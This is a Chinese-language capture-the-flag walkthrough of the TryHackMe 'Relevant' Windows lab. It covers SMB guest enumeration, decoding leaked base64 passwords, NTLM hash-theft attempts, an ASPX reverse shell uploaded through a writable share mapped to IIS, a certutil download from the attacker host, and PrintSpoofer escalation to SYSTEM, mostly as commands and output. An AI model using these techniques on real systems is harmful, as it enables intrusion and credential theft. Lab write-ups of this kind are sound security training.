Recon#

1
PORT      STATE SERVICE       REASON          VERSION
2
80/tcp    open  http          syn-ack ttl 128 Microsoft IIS httpd 10.0
3
| http-methods:
4
|   Supported Methods: OPTIONS TRACE GET HEAD POST
5
|_  Potentially risky methods: TRACE
6
|_http-server-header: Microsoft-IIS/10.0
7
|_http-title: IIS Windows Server
8
135/tcp   open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
9
139/tcp   open  netbios-ssn   syn-ack ttl 128 Microsoft Windows netbios-ssn
10
445/tcp   open  microsoft-ds  syn-ack ttl 128 Windows Server 2016 Standard Evaluation 14393 microsoft-ds
11
3389/tcp  open  ms-wbt-server syn-ack ttl 128 Microsoft Terminal Services
12
|_ssl-date: 2026-09-19T05:30:43+00:00; -1s from scanner time.
13
| ssl-cert: Subject: commonName=Relevant
14
| Issuer: commonName=Relevant
15
| Public Key type: rsa
16
| Public Key bits: 2048
17
| Signature Algorithm: sha256WithRSAEncryption
18
| Not valid before: 2026-09-18T05:25:54
19
| Not valid after:  2027-03-20T05:25:54
20
| MD5:   421a:91c3:dbab:e462:5fc2:9f1f:49fc:fb38
21
| SHA-1: dd5c:8cdf:fdf8:146f:84ea:3a7f:3034:ad49:f5c4:fb81
22
| -----BEGIN CERTIFICATE-----
23
| MIIC1DCCAbygAwIBAgIQHi6nxU8uK5xEeeUBXP4XFzANBgkqhkiG9w0BAQsFADAT
24
| MREwDwYDVQQDEwhSZWxldmFudDAeFw0yNjA5MTgwNTI1NTRaFw0yNzAzMjAwNTI1
25
| NTRaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
26
| MIIBCgKCAQEAz2lsGBSt5IrCOKcnD+W9IGDacVNfPYj/nzPKW+OxokJKAVyFO1O+
27
| csR/JwrfkfhaqGfxlX8NJSi29/jI+fns4QoN2LESOFeKZdc02o4w+wXN47AaFYJl
28
| TUwLlvhtQ941glXGi8Gm2u2pF/BCQFFH42TlUiE0hEMynuyrjQUcL8AOR5BzaLYZ
29
| UX7xKtyz+c/YejXGJ1E5UvaBwh7jQD7cbHFW4LlkBUGAoTrK0/z+G5otu3jknWN4
30
| MMsxMJienTwIvET5ortuhM63rRHIIdFqY4Jf8ovsf8PLeW6TI7qn2G1bMdlkGIDy
31
| g5tKSIHYtYqc/ljYoMLSFNpwTuHbaRdsdwIDAQABoyQwIjATBgNVHSUEDDAKBggr
32
| BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBAA9Jpavx+1gy
33
| wqS/tm4up8zlLmE4MzQ89JKRnrcxCz8yRZzyyzIgfZXv3GSNcw+SaeYLVVT9Gqe1
34
| 8HPxk77ulcmKLStg2C37VsYD+tUV3Y4M+oiIUQYuLLGj1STMUV6Y9A2t9nLNwNoG
35
| Lc0zNefF1nG4slQ4+CZQ3ZkSnp5AhA2BI1xL+fUrwWSAexUD33WwCjzcKeKZXjlH
36
| 7CVSsGHSAYWLaS+t6GwCiW2jHNKMJbypCE5Ct1lphs6VUOHfyj9PuSm9R7hOCHAP
37
| 4kTigbz5DYwlVOVDhhr+J+H6XeXn4G2oP7xDroHPu+gYZ5yRgVMxbp4VzMLnqgh4
38
| PNHOeIK0in8=
39
|_-----END CERTIFICATE-----
40
| rdp-ntlm-info:
41
|   Target_Name: RELEVANT
42
|   NetBIOS_Domain_Name: RELEVANT
43
|   NetBIOS_Computer_Name: RELEVANT
44
|   DNS_Domain_Name: Relevant
45
|   DNS_Computer_Name: Relevant
46
|   Product_Version: 10.0.14393
47
|_  System_Time: 2026-09-19T05:30:03+00:00
48
49663/tcp open  http          syn-ack ttl 128 Microsoft IIS httpd 10.0
49
|_http-title: IIS Windows Server
50
| http-methods:
51
|   Supported Methods: OPTIONS TRACE GET HEAD POST
52
|_  Potentially risky methods: TRACE
53
|_http-server-header: Microsoft-IIS/10.0
54
49666/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
55
49668/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
56
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
57

58
Host script results:
59
| smb-security-mode:
60
|   account_used: guest
61
|   authentication_level: user
62
|   challenge_response: supported
63
|_  message_signing: disabled (dangerous, but default)
64
| p2p-conficker:
65
|   Checking for Conficker.C or higher...
66
|   Check 1 (port 35819/tcp): CLEAN (Timeout)
67
|   Check 2 (port 25628/tcp): CLEAN (Timeout)
68
|   Check 3 (port 32369/udp): CLEAN (Timeout)
69
|   Check 4 (port 30521/udp): CLEAN (Timeout)
70
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
71
|_clock-skew: mean: 1h23m59s, deviation: 3h07m50s, median: -1s
72
| smb2-time:
73
|   date: 2026-09-19T05:30:06
74
|_  start_date: 2026-09-19T05:25:53
75
| smb2-security-mode:
76
|   3:1:1:
77
|_    Message signing enabled but not required
78
| smb-os-discovery:
79
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
80
|   Computer name: Relevant
81
|   NetBIOS computer name: RELEVANT\x00
82
|   Workgroup: WORKGROUP\x00
83
|_  System time: 2026-09-18T22:30:05-07:00

Windows 机器, 没有开放活动目录相关端口, 主机名为 RELEANT 开放 SMB 相关组件, 根据 workgroup 推测不是一台 DC 或不在域中.

smb#

guest 认证成功, 可以列出共享

1
nxc smb 10.66.179.167 -u guest -p '' --shares
2
SMB         10.66.179.167   445    RELEVANT         [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True)
3
SMB         10.66.179.167   445    RELEVANT         [+] Relevant\guest:
4
SMB         10.66.179.167   445    RELEVANT         [*] Enumerated shares
5
SMB         10.66.179.167   445    RELEVANT         Share           Permissions            Remark
6
SMB         10.66.179.167   445    RELEVANT         -----           -----------            ------
7
SMB         10.66.179.167   445    RELEVANT         ADMIN$                                 Remote Admin
8
SMB         10.66.179.167   445    RELEVANT         C$                                     Default share
9
SMB         10.66.179.167   445    RELEVANT         IPC$            READ                   Remote IPC
10
SMB         10.66.179.167   445    RELEVANT         nt4wrksv        READ,WRITE

nt4wrksv 共享可读写

1
smbclient.py guest:''@10.66.179.167
2
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
3

4
Password:
5
Type help for list of commands
6
# use nt4wrksv
7
# ls
8
drw-rw-rw-          0  Sat Jul 25 21:46:04 2020 .
9
drw-rw-rw-          0  Sat Jul 25 21:46:04 2020 ..
10
-rw-rw-rw-         98  Sat Jul 25 15:35:44 2020 passwords.txt

有一个 passwords.txt, 下载后得到一串编码后的密码, 根据格式推测为 base64 加密:

1
[User Passwords - Encoded]
2
Qm9iIC0gIVBAJCRXMHJEITEyMw==
3
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

解密后分别为:

1
Bob - !P@$$W0rD!123
2
Bill - Juw4nnaM4n420696969!$$$

两个凭据均有效, 但 Bill 被降级为 guest:

1
nxc smb 10.66.179.167 -u ./users  -p ./pass --continue-on-success
2
SMB         10.66.179.167   445    RELEVANT         [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True)
3
SMB         10.66.179.167   445    RELEVANT         [-] Relevant\Bob:Juw4nnaM4n420696969!$$$ STATUS_LOGON_FAILURE
4
SMB         10.66.179.167   445    RELEVANT         [+] Relevant\Bill:Juw4nnaM4n420696969!$$$ (Guest)
5
SMB         10.66.179.167   445    RELEVANT         [+] Relevant\Bob:!P@$$W0rD!123

RidBrute#

$IPC 共享可读, 执行 rid 爆破:

1
nxc smb 10.66.179.167 -u Bob -p '!P@$$W0rD!123' --rid-brute
2
SMB         10.66.179.167   445    RELEVANT         [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True)
3
SMB         10.66.179.167   445    RELEVANT         [+] Relevant\Bob:!P@$$W0rD!123
4
SMB         10.66.179.167   445    RELEVANT         500: RELEVANT\Administrator (SidTypeUser)
5
SMB         10.66.179.167   445    RELEVANT         501: RELEVANT\Guest (SidTypeUser)
6
SMB         10.66.179.167   445    RELEVANT         503: RELEVANT\DefaultAccount (SidTypeUser)
7
SMB         10.66.179.167   445    RELEVANT         513: RELEVANT\None (SidTypeGroup)
8
SMB         10.66.179.167   445    RELEVANT         1002: RELEVANT\Bob (SidTypeUser)

这解释了为什么 Bill 会被降级为 guest, 因为机器上没有对应的用户

Web - 80#

标准的 IIS 页面, 没什么信息.

目录爆破没给出什么有效信息

1
dirsearch -u http://10.66.179.167 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e asp
2

3
  _|. _ _  _  _  _ _|_    v0.4.3.post1
4
 (_||| _) (/_(_|| (_| )
5

6
Extensions: asp | HTTP method: GET | Threads: 25 | Wordlist size: 38267
7

8
Output File: /root/wrk/reports/http_10.66.179.167/_26-09-19_05-32-00.txt
9

10
Target: http://10.66.179.167/
11

12
[05:32:00] Starting:
13
[05:32:01] 404 -    2KB - /.aspx
14
[05:32:05] 404 -    2KB - /.ashx
15
[05:32:08] 404 -    2KB - /.asmx
16
[05:32:10] 404 -    2KB - /.css.aspx
17
[05:32:40] 404 -    2KB - /con
18
[05:32:40] 404 -    2KB - /.html.
19
[05:33:05] 404 -    2KB - /.captcha.aspx
20
[05:33:10] 404 -    2KB - /.htm.
21
[05:33:15] 404 -    2KB - /.csshandler.ashx
22
[05:33:38] 404 -    2KB - /.php.
23
[05:33:41] 404 -    2KB - /aux
24
[05:33:49] 404 -    2KB - /.aspx.aspx
25
[05:34:48] 404 -    2KB - /prn
26
[05:34:54] 404 -    2KB - /.search.
27
[05:35:35] 404 -    2KB - /.aspx.
28
[05:35:36] 404 -    2KB - /.js.aspx
29
[05:35:36] 404 -    2KB - /.pdf.
30
[05:36:44] 404 -    2KB - /.c.
31

32
Task Completed

techstack#

1
HTTP/1.1 200 OK
2
Content-Type: text/html
3
Last-Modified: Sat, 25 Jul 2020 15:05:21 GMT
4
Accept-Ranges: bytes
5
ETag: "2db43349562d61:0"
6
Server: Microsoft-IIS/10.0
7
X-Powered-By: ASP.NET
8
Date: Sat, 19 Sep 2026 05:29:38 GMT
9
Content-Length: 703

没啥有效信息

Web - 49663#

还是 IIS 默认页面: iis-49663

1
dirsearch -u http://10.66.179.167:49663 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e asp
2
404     2KB  http://10.66.179.167:49663/.aspx
3
301    164B   http://10.66.179.167:49663/aspnet_client    -> REDIRECTS TO: http://10.66.179.167:49663/aspnet_client/
4
404     2KB  http://10.66.179.167:49663/.ashx
5
404     2KB  http://10.66.179.167:49663/.asmx
6
404     2KB  http://10.66.179.167:49663/.css.aspx
7
404     2KB  http://10.66.179.167:49663/con
8
404     2KB  http://10.66.179.167:49663/.html.
9
404     2KB  http://10.66.179.167:49663/.captcha.aspx
10
404     2KB  http://10.66.179.167:49663/.htm.
11
404     2KB  http://10.66.179.167:49663/.csshandler.ashx
12
404     2KB  http://10.66.179.167:49663/.php.
13
404     2KB  http://10.66.179.167:49663/aux
14
404     2KB  http://10.66.179.167:49663/.aspx.aspx
15
404     2KB  http://10.66.179.167:49663/prn
16
404     2KB  http://10.66.179.167:49663/.search.
17
404     2KB  http://10.66.179.167:49663/.aspx.
18
404     2KB  http://10.66.179.167:49663/.js.aspx
19
404     2KB  http://10.66.179.167:49663/.pdf.

没啥信息

techstack#

1
HTTP/1.1 200 OK
2
Content-Type: text/html
3
Last-Modified: Sat, 25 Jul 2020 15:05:21 GMT
4
Accept-Ranges: bytes
5
ETag: "2db43349562d61:0"
6
Server: Microsoft-IIS/10.0
7
X-Powered-By: ASP.NET
8
Date: Sat, 19 Sep 2026 06:19:52 GMT
9
Content-Length: 703

没啥有趣的

Auth as Bob#

凭据有效, 但无法访问 RDP (没有 Pwn3d!)

1
nxc rdp 10.66.179.167 -u Bob -p '!P@$$W0rD!123'
2
RDP         10.66.179.167   3389   RELEVANT         [*] Windows 10 or Windows Server 2016 Build 14393 (name:RELEVANT) (domain:Relevant) (nla:True)
3
RDP         10.66.179.167   3389   RELEVANT         [+] Relevant\Bob:!P@$$W0rD!123

共享方面也没什么变化:

1
nxc smb 10.66.179.167 -u Bob -p '!P@$$W0rD!123' --shares
2
SMB         10.66.179.167   445    RELEVANT         [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True)
3
SMB         10.66.179.167   445    RELEVANT         [+] Relevant\Bob:!P@$$W0rD!123
4
SMB         10.66.179.167   445    RELEVANT         [*] Enumerated shares
5
SMB         10.66.179.167   445    RELEVANT         Share           Permissions            Remark
6
SMB         10.66.179.167   445    RELEVANT         -----           -----------            ------
7
SMB         10.66.179.167   445    RELEVANT         ADMIN$                                 Remote Admin
8
SMB         10.66.179.167   445    RELEVANT         C$                                     Default share
9
SMB         10.66.179.167   445    RELEVANT         IPC$            READ                   Remote IPC
10
SMB         10.66.179.167   445    RELEVANT         nt4wrksv        READ,WRITE

Rpc Enum#

把视角转向 rpc, 可以认证:

1
rpcclient -I 10.66.179.167 -U Bob%'!P@$$W0rD!123' RELEVANT
2
rpcclient $> getusername
3
Account Name: Bob, Authority Name: RELEVANT

似乎没有读取共享信息的权限:

1
rpcclient $> netsharegetinfo nt4wrksv
2
result was WERR_ACCESS_DENIED
3
rpcclient $> netshareenumall
4
result was WERR_ACCESS_DENIED

尝试读取用户信息, 根据这篇文章, NT_STATUS_CONNECTION_DISCONNECTED 即协议太老了

1
rpcclient $> queryuser 1002
2
result was NT_STATUS_CONNECTION_DISCONNECTED
3
rpcclient $> queryuser 500
4
result was NT_STATUS_CONNECTION_DISCONNECTED

nt4wrksv2shell#

hashsteal#

尝试窃取 hash:

1
ntlm_theft -g all -s 10.66.76.106 -f theft
2
Created: theft/theft.scf (BROWSE TO FOLDER)
3
Created: theft/theft-(url).url (BROWSE TO FOLDER)
4
Created: theft/theft-(icon).url (BROWSE TO FOLDER)
5
Created: theft/theft.lnk (BROWSE TO FOLDER)
6
Created: theft/theft.rtf (OPEN)
7
Created: theft/theft-(stylesheet).xml (OPEN)
8
Created: theft/theft-(fulldocx).xml (OPEN)
9
Created: theft/theft.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
10
Created: theft/theft-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
11
Created: theft/theft-(includepicture).docx (OPEN)
12
Created: theft/theft-(remotetemplate).docx (OPEN)
13
Created: theft/theft-(frameset).docx (OPEN)
14
Created: theft/theft-(externalcell).xlsx (OPEN)
15
Created: theft/theft.wax (OPEN)
16
Created: theft/theft.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
17
Created: theft/theft.asx (OPEN)
18
Created: theft/theft.jnlp (OPEN)
19
Created: theft/theft.application (DOWNLOAD AND OPEN)
20
Created: theft/theft.pdf (OPEN AND ALLOW)
21
Created: theft/zoom-attack-instructions.txt (PASTE TO CHAT)
22
Created: theft/theft.library-ms (BROWSE TO FOLDER)
23
Created: theft/Autorun.inf (BROWSE TO FOLDER)
24
Created: theft/desktop.ini (BROWSE TO FOLDER)
25
Created: theft/theft.theme (THEME TO INSTALL)
26
Created: theft/theft.bat (BROWSE TO FOLDER)
27
Generation Complete.
28

29
smbclient.py guest:''@10.66.179.167
30
# put theft.lnk
31
# ls
32
drw-rw-rw-          0  Sat Sep 19 06:40:21 2026 .
33
drw-rw-rw-          0  Sat Sep 19 06:40:21 2026 ..
34
-rw-rw-rw-         98  Sat Jul 25 15:35:44 2020 passwords.txt
35
-rw-rw-rw-       2164  Sat Sep 19 06:46:27 2026 theft.lnk

但, Responder 里始终没有回应:

1
root@ip-10-66-76-106:~/wrk# responder -I ens5
2
                                         __
3
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
4
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
5
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
6
                   |__|
7

8

9
[*] Tips jar:
10
    USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
11
    BTC  -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
12

13
[+] Poisoners:
14
    LLMNR                      [ON]
15
    NBT-NS                     [ON]
16
    MDNS                       [ON]
17
    DNS                        [ON]
18
    DHCP                       [OFF]
19
    DHCPv6                     [OFF]
20

21
[+] Servers:
22
    HTTP server                [ON]
23
    HTTPS server               [ON]
24
    WPAD proxy                 [OFF]
25
    Auth proxy                 [OFF]
26
    SMB server                 [ON]
27
    Kerberos server            [ON]
28
    SQL server                 [ON]
29
    FTP server                 [ON]
30
    IMAP server                [ON]
31
    POP3 server                [ON]
32
    SMTP server                [ON]
33
    DNS server                 [ON]
34
    LDAP server                [ON]
35
    MQTT server                [ON]
36
    RDP server                 [ON]
37
    DCE-RPC server             [ON]
38
    WinRM server               [ON]
39
    SNMP server                [ON]
40

41
[+] HTTP Options:
42
    Always serving EXE         [OFF]
43
    Serving EXE                [OFF]
44
    Serving HTML               [OFF]
45
    Upstream Proxy             [OFF]
46

47
[+] Poisoning Options:
48
    Analyze Mode               [OFF]
49
    Force WPAD auth            [OFF]
50
    Force Basic Auth           [OFF]
51
    Force LM downgrade         [OFF]
52
    Force ESS downgrade        [OFF]
53

54
[+] Generic Options:
55
    Responder NIC              [ens5]
56
    Responder IP               [10.66.76.106]
57
    Responder IPv6             [fe80::ff:c4ff:fe1f:4f43]
58
    Challenge set              [random]
59
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
60
    Don't Respond To MDNS TLD  ['_DOSVC']
61
    TTL for poisoned response  [default]
62

63
[+] Current Session Variables:
64
    Responder Machine Name     [WIN-R2JKUF7L0MR]
65
    Responder Domain Name      [16WH.LOCAL]
66
    Responder DCE-RPC Port     [46864]
67

68
[*] Version: Responder 3.2.2.0
69
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
70

71
[+] Listening for events...

nt4wrksv2web#

所有的地方似乎都滴水不漏, 不过可写的 nt4wrksv 共享究竟对应哪个目录还是个谜. 直到我在 Web 上测试了 nt4wrksv: web-49663-nt4wrksv

passwords.txt 也可以在其中找到: passwd

也就是说, nt4wrksv 共享映射到了 Web 目录 http://10.66.137.211:49663/nt4wrksv/ 下, 其是一个 IIS, 会执行 ASP 文件:

borjmzaspx-reverse-shell

shell as iis#

1
nc -lvvnp 4444
2
Listening on 0.0.0.0 4444
3
Connection received on 10.66.137.211 50019
4
Spawn Shell...
5
Microsoft Windows [Version 10.0.14393]
6
(c) 2016 Microsoft Corporation. All rights reserved.
7

8

9
c:\windows\system32\inetsrv>whoami
10
whoami
11
iis apppool\defaultapppool
12

13
c:\windows\system32\inetsrv>whoami /priv
14
whoami /priv
15

16
PRIVILEGES INFORMATION
17
----------------------
18

19
Privilege Name                Description                               State
20
============================= ========================================= ========
21
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
22
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
23
SeAuditPrivilege              Generate security audits                  Disabled
24
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
25
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
26
SeCreateGlobalPrivilege       Create global objects                     Enabled
27
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

有 SeImpersonatePrivilege 权限, 采用 PrintSpoofer

PrintSpoofer#

itm4nPrintSpoofer

下载并运行, 但是…这么做没感觉啊..

1
C:\Users\Bob\Desktop>certutil.exe -urlcache -f http://10.66.76.106:8080/PrintSpoofer64.exe PrintSpoofer64.exe
2
certutil.exe -urlcache -f http://10.66.76.106:8080/PrintSpoofer64.exe PrintSpoofer64.exe
3
****  Online  ****
4
CertUtil: -URLCache command completed successfully.
5

6
C:\Users\Bob\Desktop>dir
7
dir
8
 Volume in drive C has no label.
9
 Volume Serial Number is AC3C-5CB5
10

11
 Directory of C:\Users\Bob\Desktop
12

13
09/19/2026  12:26 AM    <DIR>          .
14
09/19/2026  12:26 AM    <DIR>          ..
15
09/19/2026  12:26 AM            27,136 PrintSpoofer64.exe
16
07/25/2020  08:24 AM                35 user.txt
17
               2 File(s)         27,171 bytes
18
               2 Dir(s)  20,658,647,040 bytes free
19

20
C:\Users\Bob\Desktop>.\PrintSpoofer64.exe -i -c powershell.exe
21
.\PrintSpoofer64.exe -i -c powershell.exe
22
[+] Found privilege: SeImpersonatePrivilege
23
[+] Named pipe listening...
24
[+] CreateProcessAsUser() OK
25
Windows PowerShell
26
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
27

28
PS C:\Windows\system32>

shell as system#

1
PS C:\Windows\system32> whoami /all
2
whoami /all
3

4
USER INFORMATION
5
----------------
6

7
User Name           SID
8
=================== ========
9
nt authority\system S-1-5-18
10

11

12
GROUP INFORMATION
13
-----------------
14

15
Group Name                             Type             SID          Attributes
16
====================================== ================ ============ ==================================================
17
BUILTIN\Administrators                 Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner
18
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
19
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
20
Mandatory Label\System Mandatory Level Label            S-1-16-16384
21

22

23
PRIVILEGES INFORMATION
24
----------------------
25

26
Privilege Name                            Description                                                        State
27
========================================= ================================================================== =======
28
SeCreateTokenPrivilege                    Create a token object                                              Enabled
29
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled
30
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
31
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
32
SeTcbPrivilege                            Act as part of the operating system                                Enabled
33
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
34
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
35
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
36
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
37
SeSystemtimePrivilege                     Change the system time                                             Enabled
38
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
39
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
40
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
41
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
42
SeBackupPrivilege                         Back up files and directories                                      Enabled
43
SeRestorePrivilege                        Restore files and directories                                      Enabled
44
SeShutdownPrivilege                       Shut down the system                                               Enabled
45
SeDebugPrivilege                          Debug programs                                                     Enabled
46
SeAuditPrivilege                          Generate security audits                                           Enabled
47
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
48
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
49
SeUndockPrivilege                         Remove computer from docking station                               Enabled
50
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
51
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
52
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
53
SeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      Enabled
54
SeRelabelPrivilege                        Modify an object label                                             Enabled
55
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
56
SeTimeZonePrivilege                       Change the time zone                                               Enabled
57
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
58
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
59

60
PS C:\Windows\system32> ipconfig
61
ipconfig
62

63
Windows IP Configuration
64

65
Ethernet adapter Ethernet 3:
66

67
   Connection-specific DNS Suffix  . : ec2.internal
68
   Link-local IPv6 Address . . . . . : fe80::c80f:ccc3:ba4d:50ca%7
69
   IPv4 Address. . . . . . . . . . . : 10.66.137.211
70
   Subnet Mask . . . . . . . . . . . : 255.255.192.0
71
   Default Gateway . . . . . . . . . : 10.66.128.1
72

73
Tunnel adapter Local Area Connection* 2:
74

75
   Connection-specific DNS Suffix  . :
76
   IPv6 Address. . . . . . . . . . . : 2001:0:14c9:dc0e:30bf:36c7:f5bd:762c
77
   Link-local IPv6 Address . . . . . : fe80::30bf:36c7:f5bd:762c%3
78
   Default Gateway . . . . . . . . . : ::
79

80
Tunnel adapter isatap.ec2.internal:
81

82
   Media State . . . . . . . . . . . : Media disconnected
83
   Connection-specific DNS Suffix  . : ec2.internal
84

85
PS C:\Windows\system32> gc C:\Users\Administrator\Desktop\root.txt
86
gc C:\Users\Administrator\Desktop\root.txt
87
THM{1fk5kf469devly1gl320zafgl345pv}

0x5t4ckc47

Recon#

smb#

RidBrute#

Web - 80#

techstack#

Web - 49663#

techstack#

Auth as Bob#

Rpc Enum#

nt4wrksv2shell#

hashsteal#

nt4wrksv2web#

shell as iis#

PrintSpoofer#

shell as system#

Continue reading

Take another route

0x5t4ckc47

Recon#

smb#

RidBrute#

Web - 80#

techstack#

Web - 49663#

techstack#

Auth as Bob#

Rpc Enum#

nt4wrksv2shell#

hashsteal#

nt4wrksv2web#

shell as iis#

PrintSpoofer#

shell as system#

Share Article

Related reading

Take another route